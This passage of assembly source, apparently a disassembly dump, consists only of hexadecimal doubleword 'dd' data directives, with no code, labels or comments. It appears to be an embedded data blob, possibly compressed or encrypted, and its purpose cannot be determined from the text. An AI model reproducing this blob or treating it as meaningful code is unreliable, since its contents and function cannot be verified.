dd 0D29548CCh, 0C9929609h, 18CE0055h, 0EC5C44F6h, 0CFFE3F01h
dd 3BEBB500h, 848D36D3h, 88733300h, 58213DB2h, 0CB60027h
dd 44130189h, 15009174h, 0F36A35D0h, 19F90C1h, 0FBCCB5B8h
dd 0FFE73DC5h, 38255080h, 5ECBC300h, 0DC03BBE9h, 80A0084h
dd 86A05685h, 1E486BFAh, 479E00FCh, 1975A7F0h, 1AF10392h
dd 3B448D7Ah, 14EF18C0h, 0B5B66D0Ah, 0AC00A002h, 66B20161h
dd 0A8820377h, 8BFE4AB0h, 591778B8h, 0A13FAE00h, 0B524083Eh
dd 1381001Ch, 4F72DBC1h, 2D3D18A9h, 0AE9B05B8h, 7040B43Ah
dd 0DF172E9Ch, 3D890C2h, 711D2A32h, 8CE89A6Dh, 110B83C6h
dd 0C75BF5h, 313F4760h, 41BA0377h, 0DC3CF784h, 0E6A0FB90h
dd 291BF402h, 805127AEh, 3D1388A9h, 0A156005Ch, 3FFDB37Bh
dd 75F2E396h, 0BD658E00h, 2AF951D4h, 66C600A7h, 96A8FF6h
dd 70ECDB0h, 805C62FAh, 992ADC5Ah, 190F00F2h, 504D0AE0h
dd 0ED00963Eh, 3A054CDh, 0FA393A9h, 0D8512163h, 9A89FA83h
dd 0EAA4D0D0h, 0B1A64600h, 0D27F6FAFh, 35340FF2h, 9CA3B699h
dd 0D9D0319Eh, 4D3C73B3h, 5D600017h, 0E48A8D6Ch, 17700B9h
dd 0A6DEB4A1h, 0F000AACEh, 0E79FB028h, 24DA82h, 81100141h
dd 0E6487BDDh, 2A61EA04h, 0B880956Ah, 0F64AE443h, 1F08074Dh
dd 0A33F6D06h, 0CDC0A6E7h, 6A007F16h, 68DA0C5Ch, 4FC858h
dd 12F51F74h, 78DD559Ch, 0FE704D00h, 162AED87h, 800A72ADh
dd 0BA0B4F66h, 330CE3Fh, 880EA764h, 96235Dh, 5EA2CC43h
dd 57E8415Fh, 0F6073876h, 97189253h, 0BE7E24C0h, 13B8A010h
dd 0CC9307F3h, 0A1D12Ah, 1102DF78h, 0B450500h, 0CF73AD4Eh
dd 79843BC7h, 1A544B80h, 29706F41h, 0BC0B9900h, 69AD012Ch
dd 23EE00E3h, 0D10520A1h, 20C0789h, 102C28D0h, 6EB08Ch
dd 0EEA141DCh, 0CAC095C9h, 463E0400h, 9B518810h, 0BCFE54h
dd 66B6224Bh, 11442A4Eh, 91963Ah, 10B0327h, 0B09CF47h
dd 0B7292839h, 2180538Eh, 84BC8595h, 2DAA0500h, 10FE4D4Ah
dd 0DDA901D9h, 2C97F3D2h, 6A0BFC69h, 0B8F578B7h, 74330004h
dd 991C3653h, 180755BAh, 11375C4Fh, 0AFE79880h, 75617F3Ah
dd 0FECC008Ah, 0A536951Fh, 0A379035Dh, 273D4801h, 9C4C57AEh
dd 503AF960h, 196D0A8h, 0BE780A06h, 0C83B321Eh, 5100C2A4h
dd 31F02BB5h, 502583h, 9956A5A1h, 48B339C4h, 9FAE1400h
dd 4D7D90BAh, 0ECCAEC35h, 668F00F5h, 0F94A6AEEh, 7F3FC182h
dd 891B1C4Ch, 0F8B906C3h, 0DC700053h, 1E8FDB69h, 0E613A4F0h
dd 7E0303BFh, 809ECA66h, 3F44BB3h, 0C504481h, 43B856A6h
dd 300003DCh, 40272853h, 11E885h, 6792A844h, 0E960A6A4h
dd 1D0016EEh, 95454073h, 49710h, 79230946h, 0CEBE0C89h
dd 3000DCE2h, 9E4F1CE4h, 190D4h, 0A13A612Fh, 0E1BC79B0h
dd 477E2E00h, 0EABFD1Ah, 513C026Ah, 0C501D484h, 0A31526C0h
dd 667AC300h, 0A7F53109h, 2D4E0A69h, 9AAF71h, 0DC492A5Eh
dd 82007A33h, 0E0054DCFh, 3BE992F0h, 5900D2F8h, 0B846232Dh
dd 0A5000418h, 2F24305Fh, 72E13D0h, 0D136B5B3h, 6181FFB7h
dd 204E0748h, 3F119104h, 7900ED7Eh, 0B1A73892h, 0CE3BDB67h
dd 0D4E380DDh, 0A3B8877Eh, 61C10035h, 0B28FB0BEh, 0F514DED3h
dd 2C0D8EDh, 0C1ECCFEEh, 1A8AE029h, 7BC90274h, 0D5F8EBAFh
dd 37DFBFC0h, 3366F301h, 0A776ADF6h, 82E42BC5h, 9752002Dh
dd 0B9FF173Ch, 0B3ECE311h, 79628016h, 0D9C1D800h, 25BB8Ah
dd 0CDE601F4h, 2D75A560h, 0B0F5A43Bh, 0E46112Bh, 742000EBh
dd 676F027Eh, 0B1001887h, 0D4F5312h, 6DC415h, 1F2CFE4Ch
dd 3FC8A5Ch, 80044600h, 0DBB5D693h, 260239DDh, 90E22280h
dd 0C7CEA1EAh, 68C38B00h, 0F0AB608Ch, 0AB40FD0Ah, 1EA49833h
dd 4FB1EF75h, 5EA06B72h, 0F4AE6530h, 0A92FC509h, 8F6460D9h
dd 0CFB102E8h, 3580AC1Dh, 39E215E0h, 0BB603C0Fh, 7D558752h
dd 427B33F0h, 5C1C0219h, 5D3E6F20h, 490824E0h, 3D006CB0h
dd 121B8C69h, 38DD6C6h, 6A8BA2B2h, 684CDEF1h, 0FB0F009Ch
dd 8744D950h, 3117EA31h, 589EBDDh, 0AF2985DAh, 0A6C3869Bh
dd 2B38A0E3h, 5118C099h, 85309F13h, 83CB4207h, 0E6B069D1h
dd 3ED516h, 0B5728D59h, 0C3765F62h, 3B400600h, 80A2DC86h
dd 0A65E306Ah, 9B196D40h, 4CC64128h, 71685160h, 83EF94h
dd 785EF93Dh, 0EDE1DEAEh, 64A70B0Eh, 0FE31A09Dh, 47FC9Ch
dd 4EC805F7h, 0A05794B8h, 0E4536B00h, 0A98FD4EFh, 2B6E00EEh
dd 8C5B23E8h, 95F031E1h, 64363D07h, 0F1503C8Dh, 3DB7CFEh
dd 0DAC42E68h, 85B8CBBDh, 0F704E1ABh, 28B77EF9h, 143F91C0h
dd 0D7A7007Dh, 3EB8CC74h, 4C00E550h, 3D5BF194h, 0F8DECDFh
dd 410FC518h, 785130E0h, 0A001CFEh, 4E7AB886h, 0A6A03Bh
dd 8E98EA0Fh, 0CB9B7921h, 180B1500h, 5D8D279Ch, 0AE3200FDh
dd 0DC4A22C9h, 70FEF971h, 3BE04103h, 0C04F08EDh, 121C5786h
dd 0C0063AE9h, 0C53ACDCh, 9A0E6F13h, 0A8CF6E00h, 7A34694h
dd 57C0BE43h, 50B11060h, 820055FDh, 0A1B9F7C9h, 3DEBB16h
dd 628377A7h, 51001035h, 181FD357h, 9BFCE8h, 44F79848h
dd 8D9AE76Ah, 14B6AC02h, 70E454F3h, 57BA3EA4h, 0F17CA887h
dd 0CCA4C04Eh, 0AB244187h, 0E0991D0h, 7ED8C0FAh, 9121000Ah
dd 1FEF8E18h, 3C077F94h, 985C9010h, 0D2B45047h, 3D87E700h
dd 9706CD41h, 8332302Eh, 4230C0F6h, 6E9DE2C7h, 8718D500h
dd 26FEAF0h, 40794E10h, 953E83ECh, 9F7C1BADh, 49CA4C00h
dd 46A1B63Dh, 6EFA18E0h, 0AB02F8ECh, 11593F19h, 7D202939h
dd 0D4D900F4h, 0B5B7F231h
dd 0E12C912Ch, 0B400A093h, 69596A4Bh, 5530C742h, 0EB4F5012h
dd 3600EC91h, 6EF22A60h, 3A0A791Bh, 9CA4E0D9h, 0C79306B4h
dd 0F15610C4h, 4B6BE004h, 7810C082h, 1F5DACDCh, 0C0367A00h
dd 0C3488CDAh, 2A230089h, 0CF7D416Bh, 4B327FC4h, 20D229E2h
dd 0C6EBA386h, 0A519D03h, 81B2E8D0h, 0FCE0CAF7h, 901600DEh
dd 0D372C0C5h, 0F60006E1h, 0EC10A67Dh, 618B42h, 8ABF735Eh
dd 28087FE8h, 0F1161400h, 0A81B4C75h, 0F180048h, 21413B47h
dd 8C00EACEh, 0B5E89007h, 529C5Ch, 51D7C6A5h, 0ECBA03B8h
dd 0F821E500h, 0A48355D9h, 5449001Eh, 2E89285Dh, 0FA0086DFh
dd 33C7084Dh, 0FA3DAE0h, 1E8EDDEh, 0B7C01B61h, 9047E5h
dd 34BFF75Bh, 0D71C6600h, 11D8D6FDh, 3346004Eh, 0E5F608CEh
dd 0A202CFD0h, 0E99CAC82h, 5C83E036h, 4113007Eh, 1F74263Dh
dd 8C036C49h, 1B8EABFFh, 0B07807FDh, 0F0C547EAh, 97BA9DB8h
dd 4453700h, 0E235FB3Fh, 23B3006Bh, 0E8DE8543h, 0A200D55Bh
dd 9F47AE86h, 256A76h, 0E77D8364h, 8E82A94Eh, 0E86E000h
dd 0D2BE8870h, 8D1002Eh, 6EB9F007h, 0C575BF97h, 0C18C9900h
dd 76BE59A8h, 0B5532E5Fh, 62D9003Fh, 837F503Ah, 0FC9EA72Ch
dd 8868003Dh, 7D583F1Fh, 3E340096h, 95DB3191h, 87488351h
dd 7CCC261Ch, 17DD6800h, 0FCDF21Ch, 0AE75CE08h, 0DFE81A00h
dd 763AD70Bh, 34870056h, 0C792FFD9h, 9FFC01E0h, 0B42C1E51h
dd 78EDEC58h, 0DE9E8F00h, 6E7D39C0h, 4C82001Ch, 7E0A5AC5h
dd 55008BF7h, 0DB02AFCFh, 71D559h, 9E12C783h, 0F9DD7B13h
dd 7C7DFC00h, 8E2E1193h, 25E601E1h, 0BB14A8C0h, 7AC5308Ah
dd 0E50A3A00h, 41BEAC57h, 90020047h, 0E1EDF631h, 0B9004D39h
dd 0D7F79B1Dh, 94AB5Ch, 470A0776h, 4B1105C6h, 242A2C3Fh
dd 0C40052FFh, 0C970384Ch, 1292004Ah, 4D8B3A33h, 8E002FF6h
dd 866C5098h, 0D6F776h, 58A52688h, 7D40127Ah, 0CF1F7F00h
dd 0F96BAB9Eh, 0F8681E7Bh, 0D75F8A2Eh, 9CEE0780h, 74C551CAh
dd 0E3803017h, 542A2400h, 3728580Eh, 5A655C0Fh, 2670C700h
dd 17F3ACF2h, 0DD847750h, 0C546D106h, 17F0B944h, 1F4E29A7h
dd 1B6642CCh, 2068DB17h, 0AC01359Fh, 0FF0F2224h, 0D82060AFh
dd 5E200732h, 1025A693h, 4D0C3957h, 4A26AAFEh, 1F804AB2h
dd 1734813Dh, 830F004Fh, 22957DD0h, 461DDBFBh, 4440E580h
dd 675E895Bh, 0A7350F93h, 2FCEC95Ah, 0B20A1A20h, 100DA59h
dd 2EF43C98h, 481D4325h, 5048EFB5h, 804D7B14h, 0A0C11000h
dd 9FBAD9B6h, 1AFCF300h, 0CBEB3A71h, 0E5D43C98h, 279E9A02h
dd 0E44078A0h, 0E1C09480h, 0EADD1840h, 0B775001Ch, 67297B2Ah
dd 0BA00F08Fh, 2CDAE5F8h, 3C565C05h, 6B0052C9h, 757B1E78h
dd 0A100077Eh, 196EF1A5h, 0F64AE7h, 0A7595C89h, 0BA02AA44h
dd 0BCFE8400h, 75EA570Dh, 0A08000FDh, 157EFCCDh, 0AF01EBF6h
dd 8681BE92h, 0E0E8D2C1h, 0D44A00F0h, 5ADD25FCh, 0A9C0556Bh
dd 9967214Ch, 43054C19h, 49743E03h, 0CEC05D96h, 470738C1h
dd 4BBA9F52h, 0DA6B62E0h, 0A540E73h, 20A0AA80h, 3492CE2h
dd 4C81B000h, 511575E4h, 0E41767Dh, 3F610A9Ch, 5FC0D44Eh
dd 543D0242h, 0B03ECC00h, 0E1844DFEh, 61D6001Fh, 0D9BF46BCh
dd 94009566h, 21DDD558h, 390E7822h, 4E802E0Ah, 7CF1C4B0h
dd 0D33E0523h, 4A9E8037h, 0A2BC5BB1h, 589B00BAh, 0C3A42A3h
dd 0EB00CE2Bh, 62300626h, 7434C7Bh, 0ACE0288Ah, 5FA1604Ah
dd 0F50059B4h, 0D9490664h, 0F56B35Dh, 0F97E95B9h, 0BE7B35A0h
dd 8A05DBCAh, 32D392DDh, 608C0FC2h, 0BFCBA2h, 5D80742Ch
dd 0E4A7FAE9h, 0B81C0A01h, 0A5CD35F9h, 2482A760h, 1E7E81FDh
dd 0E7840077h, 5F56AD0h, 0A2FED107h, 7496E26h, 1E0EBA74h
dd 0AD27E000h, 72B3C49h, 0B29D65F3h, 285510B8h, 90006AF2h
dd 3C85AEDFh, 17CD25h, 91BF7B33h, 1CCC2C38h, 0D18F3600h
dd 0CF541E8Bh, 68170161h, 966DD577h, 0AC608318h, 0A3DAC68Eh
dd 0E859C00Fh, 654338ECh, 307F1974h, 815F8846h, 2667110h
dd 18407A9Ah, 31B1A6Dh, 0A45F4AA9h, 0BFA1C2A5h, 0A73960F5h
dd 1AAD5E00h, 9E81B0Ch, 6D5400ECh, 0CC5DC815h, 0E30662D2h
dd 0BA142A95h, 0A30F0088h, 0BC995F3Ah, 0D10CFFCCh, 0B6AA6616h
dd 0FC7B05DFh, 0B84E1Bh, 0C304605Ch, 0CC0C773Ch, 191A656Dh
dd 0DAED0098h, 8B1BF457h, 2070ABFCh, 0BB4C2518h, 0EDC369h
dd 9BB13215h, 7F2814B8h, 0E4D05F00h, 0CE92CB2Dh, 31C400A6h
dd 0E64FF9EEh, 0B90EED35h, 3DE2C60Dh, 873EFA40h, 0A4D20h
dd 920B600Eh, 48588B56h, 5320FD71h, 652603D8h, 57326F81h
dd 20A877E1h, 350CF00Eh, 0B1197F51h, 36D3008Fh, 0CC147396h
dd 78F2F6FBh, 8D0FA439h, 29E866CEh, 106E0h, 6AA5AAA3h
dd 1AAB0C58h, 8306074h, 897420E7h, 363E00C0h, 0C830BB52h
dd 73007AD1h, 0F6F512BCh, 296559EAh, 1E0D7F8h, 1B0A9AE0h
dd 3822FFh, 95E7A70Ch, 0E1CB462h, 20CC25E3h, 0E5210D8Ch
dd 60E7BF00h, 0C4F25E15h, 0CE34E0BDh, 0E101FBA1h, 0E0BCB546h
dd 0D1C90745h, 0DF140055h, 0B8A6E005h, 828880B1h, 1D9D1828h
dd 4EEFE10Ch, 150A348h, 8FFF3A43h, 0E4D0C3FCh, 0D820C727h
dd 0E1003B17h, 54A15C19h, 0CA4E7100h, 0A6E12881h, 583B602Fh
dd 0A9FBE861h, 3921D703h, 0C07855CFh, 0DFF15Bh, 0F47F25D1h
dd 5E2A35E3h, 7AC33300h, 154F6786h, 0C07D4B3Ch, 43902083h
dd 460C9800h, 0D2729C47h, 83B00E5Dh, 0F7A04FB4h, 5407977Dh
dd 231D39h, 15BE8DFBh, 1E3C01A5h, 81F1E7C6h, 0A8908FB0h
dd 0FB60E279h, 0C8008631h, 320FE1CCh, 3F385FF9h, 81806066h
dd 1BFEE89Fh, 0B3004784h, 0C942C7Eh, 0D9E1D4h, 0DD073B87h
dd 83995396h, 24866800h, 5BDEFA71h, 72A737Fh, 7EC78A79h
dd 0A5AE7120h, 446FFC04h, 4DEF4E0Fh, 898F40A3h, 74BFFCDh
dd 0BBD19819h, 0E7A64312h, 85002079h, 638DE989h, 7F9CB7Ah
dd 0DF1C7E4Eh, 0C2907CA8h, 78A53201h, 5064C079h, 0AF82B080h
dd 779F44A9h, 0F14DFA01h, 98AE6A58h, 0C9837980h, 651BF93Bh
dd 1A72B507h, 1443B4BDh, 0DA20004Fh, 0F0D53BE8h, 850D9960h
dd 68D91826h, 46C85C06h, 898C016Eh, 1263FF2Eh, 0BD888D0Ch
dd 16890383h, 4ACEEAA0h, 9144D7B1h, 0F4846998h, 0CD7D813Bh
dd 154C52B6h, 3B1FD920h, 0F0CDFC02h, 846B302Eh, 0B2ED9048h
dd 51135C01h, 0DAC4661h, 78203Ch, 2AB08C54h, 0A7E83FD9h
dd 0B65F7600h, 0C526AD8Fh, 81E0007Ch, 94F8ACE2h, 0DE003D75h
dd 0E65FDD43h, 0EC9F6Ah, 5D7F6F8Ch, 75A120Bh, 7E62D600h
dd 0B8C96CCBh, 0F83600E9h, 0C8B6F97Ch, 0C008088h, 0DBCEE6B3h
dd 0EAD06B15h, 40B42E58h, 99B005Dh, 559C96BBh, 0AF63A500h
dd 1ADEC17Eh, 0A26C0640h, 8BA1E02h, 9D7D0700h, 39704404h
dd 8CB6A0A3h, 2E7600B5h, 0BF5B01F6h, 80187BA2h, 5F30AEDEh
dd 3224072Dh, 0E3444F1Ch, 0ECE0A856h, 20C33938h, 7E7A57BFh
dd 920D0008h, 95BAAF2Fh, 41C3ED3Ch, 60555h, 0F5C0A520h
dd 0DC66B1C9h, 21C55200h, 1E39193Dh, 1CA1D4AEh, 826F140Fh
dd 0EA8E7FC9h, 0D1D43DABh, 4804313Bh, 0A98C67B4h, 0F2399587h
dd 1A917F60h, 13B9FBh, 6E21C0E2h, 0D89AC6DDh, 0CB9B5206h
dd 3048BF1Ch, 0B43145F2h, 4807FA74h, 75FD104Fh, 89180D61h
dd 0E065EADBh, 0DC22FC02h, 0D31F4A70h, 0F48D808Ch, 0CCD1308Ch
dd 8282693Ch, 24132808h
dd 252F20A2h, 0ACF6EEA8h, 0DB206751h, 0D6E02100h, 8D56A6BDh
dd 0DB2D0092h, 24E35397h, 0C83E6704h, 0EEFF0A37h, 2788B829h
dd 5D86BB76h, 11CCA056h, 74A1A20Ah, 850010F2h, 512D5836h
dd 0F75F05B4h, 814A1B5h, 1B810DD4h, 0EFCE0A25h, 4021883h
dd 997CA592h, 0E2A38200h, 0E7530516h, 0B8CB5214h, 0F0ED1871h
dd 8141515Fh, 30443E41h, 0DCFA2001h, 0ECC4072h, 2108601Ah
dd 25B28865h, 0D41EE273h, 555F90F6h, 1CCC54h, 983C7E3Eh
dd 3A5D0DAFh, 0D451286Ah, 0A06122FFh, 0A3ECD800h, 8149B540h
dd 0FA37B8D7h, 264C002Fh, 0C2D587B4h, 950AE539h, 0A0C6F804h
dd 4DD86798h, 0D8C1099Dh, 38131FABh, 0FB923DC1h, 3311480h
dd 26687000h, 279BE211h, 0FA731DBh, 53AD51F8h, 8313AB0h
dd 0AED299A3h, 67A7FC00h, 0C3CD1602h, 408A1FB9h, 0C2DF8650h
dd 12FA021h, 21B2C0AFh, 10886D60h, 920457B6h, 0C8223C94h
dd 0A712B300h, 93216DBCh, 85089E1Dh, 4F40B718h, 0A18D4CC8h
dd 0C8A32414h, 2205F984h, 72A821ACh, 3718D0C3h, 0B1D210Fh
dd 5697815Ah, 2BD405D7h, 5C1A3068h, 0E1AE4F39h, 672A1E09h
dd 77E0113Bh, 1139B987h, 1BDF41AAh, 0DCABD9ACh, 79005392h
dd 5A7EE767h, 6025121h, 6B5FF282h, 249198A2h, 21E3398Eh
dd 0AD1E794Ah, 0B0D3A180h, 34A351F8h, 39102600h, 49D0752Bh
dd 2400900Eh, 497430A0h, 4AC05D08h, 0EF0A63E0h, 47886CF0h
dd 0E112A500h, 474E28Fh, 0C9B800BCh, 0ADF17E57h, 49C67C24h
dd 0F15919h, 0D168955Fh, 0F5B7F4FCh, 0D320C401h, 53A4702Fh
dd 14C99730h, 0BCA202A9h, 70809637h, 0FAB2A93h, 0E0A268EEh
dd 2C9008B2h, 49588D6Ah, 0FD851ED0h, 628893C3h, 0EB81223Fh
dd 0FF63F31Eh, 0E0CEABC0h, 0CC977EDh, 0A41E7D15h, 0F0B5F649h
dd 0A05EE12h, 0DF8E3D26h, 68B61E8Ch, 3DBCFC4Ch, 4DB3A008h
dd 0F8BA6789h, 10119C9Bh, 191878B9h, 0EC528155h, 0E96E0B19h
dd 74488F51h, 29ED601Ah, 21205DF9h, 9E4EC000h, 0CE3F2C1Eh
dd 0B6623F0Eh, 0D581AD81h, 86148C41h, 0A82A6631h, 0DCBB4C89h
dd 0BD81AC81h, 5F10840Fh, 789006B0h, 3F9534h, 6258A638h
dd 0E2278D96h, 0F6586960h, 401F7106h, 0A10707A5h, 0EA27C590h
dd 0A73025C9h, 2DECC031h, 3C4CD425h, 0BC0B003Eh, 0AA481183h
dd 0C8999C89h, 77C58286h, 41B90031h, 0A7170401h, 7C04F55Fh
dd 30AA9AABh, 545CDC88h, 0A5B66C7Fh, 0E38183A8h, 1ED83111h
dd 451930Dh, 0AC80444h, 9F0C8924h, 8655C45Fh, 1FE482F0h
dd 75008C44h, 0DFE5FF62h, 3E17327h, 0EDC161B7h, 0E811A972h
dd 1C484353h, 5A298BC0h, 2500164Ah, 9ED17841h, 64DD667Dh
dd 405EA92Fh, 82E8D938h, 45E00071h, 9E542F39h, 8C091DDCh
dd 91330DF6h, 91A409F8h, 14850830h, 3E0F54A2h, 0E37C1AF6h
dd 98FFC3B5h, 2E0A8B06h, 400C56E9h, 389B7217h, 16F73C05h
dd 0C043AF95h, 7BDB719h, 8AF58848h, 7C51C0B5h, 0CA1FB6BAh
dd 55854CE0h, 0F431FBECh, 91A642F2h, 52870080h, 120F013h
dd 64AF5500h, 4AF2C884h, 52D3EC2Eh, 0A00D873h, 0B660958Fh
dd 6A4804F9h, 1CF783B0h, 44AC9A93h, 0ABEF014Ch, 7ED80E5Bh
dd 72845066h, 0EC9802F7h, 4C399660h, 430368h, 10CA0A4h
dd 6E1D529Bh, 77ADA100h, 0BE091FBDh, 3FE0B1E7h, 9C984CA2h
dd 0D110EA42h, 0C44F00AEh, 0A1FBCDB7h, 40851252h, 0B0104A41h
dd 8F2C40F0h, 7207F70Fh, 5A97CA42h, 0D380C615h, 18E9ADBCh
dd 705C952Bh, 0A9C0A71Eh, 6D5489E5h, 17711783h, 0DAD860EDh
dd 590758BDh, 85246AC7h, 8EB07C90h, 9C235254h, 212D4501h
dd 240EE230h, 2288A368h, 68064D32h, 0C0CC39C0h, 4D139A29h
dd 0B905424Ch, 48427916h, 0C06BBF0Eh, 0BAE1A05Bh, 10F4A040h
dd 0CF08C438h, 523C8111h, 50811550h, 99168AD4h, 0C1ADBB17h
dd 8FD06827h, 642FE9ACh, 988A104Eh, 18E935BCh, 11876F41h
dd 89B78E85h, 3EA0302Ch, 0FBF8008Bh, 850A3C3Bh, 565490C2h
dd 7707C888h, 8301B554h, 7B102579h, 380E2284h, 0F47616F7h
dd 30C8D379h, 79AAA3F8h, 0E16129C0h, 3D7DEECFh, 0AC8A30D1h
dd 1684A125h, 0A0782014h, 73E90CB3h, 60EF34C4h, 6280D427h
dd 0BA56A9A6h, 42F8909Ch, 0BDB7105Eh, 33ED9200h, 0CB6BDA94h
dd 1F87B58h, 0FB7DAFFAh, 7073EC42h, 0BC00F22Eh, 831D241Eh
dd 0C0709EF3h, 0FD467C90h, 0C4B3A278h, 1582B083h, 0D30BA0B7h
dd 3F3E139Bh, 2C5D0066h, 836234D8h, 888AE829h, 0F887AD81h
dd 0AFD10EDFh, 99F2C024h, 0B617C8h, 962AF5D5h, 556DB1B9h
dd 0A841FE18h, 0B117763Fh, 63ACA157h, 9CAC7734h, 0CA20225Dh
dd 2040BC57h, 7A045ECh, 0F8C45305h, 0F0228B09h, 0A4A30357h
dd 410044F2h, 0AE6DC592h, 76DDD859h, 51EB0E3Fh, 8C633339h
dd 80ACB46Eh, 8F84188h, 9938EC88h, 9E8790A0h, 24B6826h
dd 67FB0h, 0BD2EB0ABh, 80942A1Ch, 6FE56D85h, 247C8C22h
dd 0C3B7C07Ah, 930B7735h, 9982F4D0h, 3FBF2B4h, 0AC1E0329h
dd 25C85D10h, 0F47616D3h, 56147009h, 84DC38FAh, 66AA008Eh
dd 0D6DB8A5Ah, 12E2AEAh, 67CEE0B9h, 55C4C1F8h, 0B8BC88h
dd 649018E2h, 0A187C8ECh, 282EEC99h, 1D8D9A80h, 5D7F2669h
dd 0C25A5CB3h, 0E0C457B9h, 12C604A8h, 0A714400h, 5FF7DC5Eh
dd 676494A8h, 877A10E4h, 841C802Ah, 67803CD1h, 69641841h
dd 566E24FBh, 0E114FF8h, 95956D7Bh, 52FC08Ch, 0DB50AAh
dd 0DF5E605Ah, 8BD97FCEh, 0F83EA126h, 0F0F30A40h, 52F40521h
dd 0C468920Dh, 0C038B2F8h, 2E1E62EFh, 42223CBBh, 0A3DD7701h
dd 0E8FE0C88h, 5C9389A5h, 93AD3C08h, 0F254633Ah, 74C05EC4h
dd 0AFDECA3Ch, 1DAD1CB2h, 0A3F24963h, 0A043CC38h, 0F4017D00h
dd 0DF7CBC56h, 636813D2h, 2F004411h, 0A4EA2379h, 0B8E0C24Fh
dd 0EE3F50F7h, 1E196063h, 37D900AFh, 0CF294766h, 521446C1h
dd 5C7E468h, 0C54B8514h, 14418088h, 0FB18A5FDh, 5837400h
dd 4F25AE55h, 0F88BE516h, 2A247704h, 0BEC50D0h, 91849104h
dd 516F7C12h, 40449420h, 80009730h, 0E8A33DE7h, 0A4A964h
dd 8890FA4Ch, 271AD561h, 0EB52415h, 938610F4h, 47EBF8A0h
dd 4468FF00h, 9059AC2h, 49B90848h, 19126795h, 0BB587090h
dd 2E1A0186h, 0C3AD5C34h, 0E14BE910h, 91C1A559h, 6C3DA300h
dd 10B95E32h, 0D91EBD80h, 16004342h, 0ED8C037Dh, 5AB856Eh
dd 0B03211AEh, 0F87082E0h, 0D4BA6C58h, 0AC835101h, 0ADB8F787h
dd 0CC4EE2h, 0C3B76237h, 0BC87796Ch, 940F404h, 9C8806CCh
dd 4E84FEB4h, 1C44401Fh, 0BEB870FAh, 7BA76D16h, 71B71022h
dd 3C801314h, 0C98C8350h, 0F4E8F251h, 4A01AA08h, 98B3C170h
dd 198133FEh, 8F89E694h, 88C50B1h, 49C1011Ah, 0C25BFCE4h
dd 0C4CCF17Bh, 0E801E5D4h, 0E6454D35h, 0AC62B5DDh, 47EF0178h
dd 14583F6Eh, 43190168h, 7D234980h, 8CFD443Ch, 807EAF00h
dd 0F673E3E8h, 0E6A116A6h, 5978BC12h, 18782270h, 0F6A7FCE9h
dd 0EB02A57Eh, 0F62A19E1h, 0DC7137h, 9A42F7CCh, 0D42CF183h
dd 893AFC85h, 0E6A85E6Eh, 0A36003Ch, 780382FCh, 0AFECD7C4h
dd 3948B70Ch, 0A8B6205Ah, 70ED0AE8h, 0DFDA02C3h, 69037AADh
dd 69577469h, 0AF370084h, 6C9C91D3h, 303802D1h, 0C8078A5Dh
dd 850030D1h, 19F9110h, 37EC7F6Dh, 0F041CC79h, 71F772ABh
dd 5314D812h, 230FA021h, 68E048h, 65CB45B3h, 34C693F3h
dd 0AE0DA300h, 8A8DB0C3h
dd 49E1D66Fh, 88447B80h, 953E5F3Eh, 7D1057BCh, 2EC7BE04h
dd 0E8887518h, 3AAD4409h, 3F1922h, 4696A161h, 219C44AAh
dd 6C10E0B9h, 27713F80h, 0B6252467h, 0E748A01Ah, 756F376h
dd 0F617122Eh, 97F950E1h, 9F05D5C5h, 0D5067B1h, 0BC21A425h
dd 0BAE5A931h, 74FB9DCh, 511DC4E3h, 0A084C0C2h, 0C9E01250h
dd 22649D49h, 0CE860433h, 0D5ECFA04h, 0C1DC88CCh, 34C81494h
dd 48378683h, 2E54F8B5h, 0EDE70511h, 800FD462h, 7EB96555h
dd 0BC6A5726h, 0ED01FD89h, 0B6788058h, 2AAE5837h, 8018853Fh
dd 0C8FD3AFFh, 4C945FCCh, 0CC441F73h, 50DF5580h, 19C5203Dh
dd 0B9A04008h, 0F52E1BA0h, 1E520C03h, 0CEDEA99h, 428C4181h
dd 0A0096729h, 101E39E9h, 0F62E3334h, 0AF261F29h, 12D79ECBh
dd 961071D6h, 9FC02C04h, 7B75F622h, 62A4263Eh, 0F0806918h
dd 0F8A02EDBh, 7B925894h, 26ECE09Ch, 6F3C370Ah, 88BB1991h
dd 0CEE2B9F9h, 0C2340078h, 7A54AFE8h, 0B20115CAh, 2CC1232Fh
dd 0C380494h, 3893FF80h, 0FDED9C17h, 1537D099h, 47E3E700h
dd 0EA160A49h, 56F826E5h, 90104014h, 59029953h, 0E7C1744Ah
dd 7EC7341h, 0B37635DAh, 86F3A412h, 0C030B04Eh, 0C03124EDh
dd 2B38E781h, 0AD09355Bh, 4632907Ch, 60B65AE4h, 0AD4431D0h
dd 0B7C5AB00h, 8ECA133Fh, 662601B2h, 59802B94h, 0FCCC2548h
dd 0E4A40683h, 4B172A78h, 0C89428A8h, 0A0127CE6h, 0ED0CABBh
dd 0E01FFC20h, 9B86B246h, 3E5E091Bh, 9018676Ch, 4F4838A7h
dd 0D65C159Bh, 0C0B4FD8h, 0D5189019h, 6E3100FEh, 9F928087h
dd 2D009469h, 890B25ECh, 4801AF77h, 305B4097h, 9691593Ch
dd 0BAF94227h, 0CA4C84DCh, 0C7259CB3h, 1361BC20h, 0FAE6EBECh
dd 5C338B0Bh, 0E0DC8006h, 0BA6C950h, 4F8FB8CAh, 0F846AC29h
dd 0BADC8A41h, 60FE3Eh, 75C2283Dh, 0B3454EDDh, 1D41B43Ah
dd 4F852CFEh, 6C80DA0Ah, 1801BF6h, 42BF7EEAh, 9F289D45h
dd 5E9DBD29h, 66CDAA03h, 7642C00Ah, 0F0B0417Eh, 9C6A1DDh
dd 0F8304006h, 0C1BC0089h, 85D27780h, 0C00E6DEh, 0CD4F7465h
dd 7B9E6E7Eh, 0CA2710EEh, 82706010h, 0F105FF39h, 0A0D5D1F0h
dd 0C6783C0Ch, 614B5989h, 0B682E106h, 330B933h, 4E6D9AA2h
dd 0F0044068h, 0D0AAB4B0h, 46339D04h, 11C8C9BDh, 7CF627CCh
dd 0B55968A0h, 0DF271884h, 3A6B2105h, 405C3E30h, 0DCD0A2h
dd 0D2F12E38h, 6497C1DFh, 0AA80A654h, 3072BB22h, 4C419598h
dd 0C606E080h, 501BD81Ah, 183E7C80h, 999A555Eh, 0A100E4F8h
dd 0E80406B8h, 1590E0Ah, 422E1869h, 0EC16888Ch, 0AC0CDD45h
dd 71D004CAh, 41276048h, 540C8230h, 7907300h, 0E63C789Ch
dd 88961431h, 0DD1E7C05h, 0A81101AEh, 256B5149h, 89DCF408h
dd 8D18228h, 7459DA18h, 0EE5776C9h, 8A2F004Fh, 2A507806h
dd 440C16B8h, 814E556Bh, 26310082h, 809E01CBh, 0F102380Eh
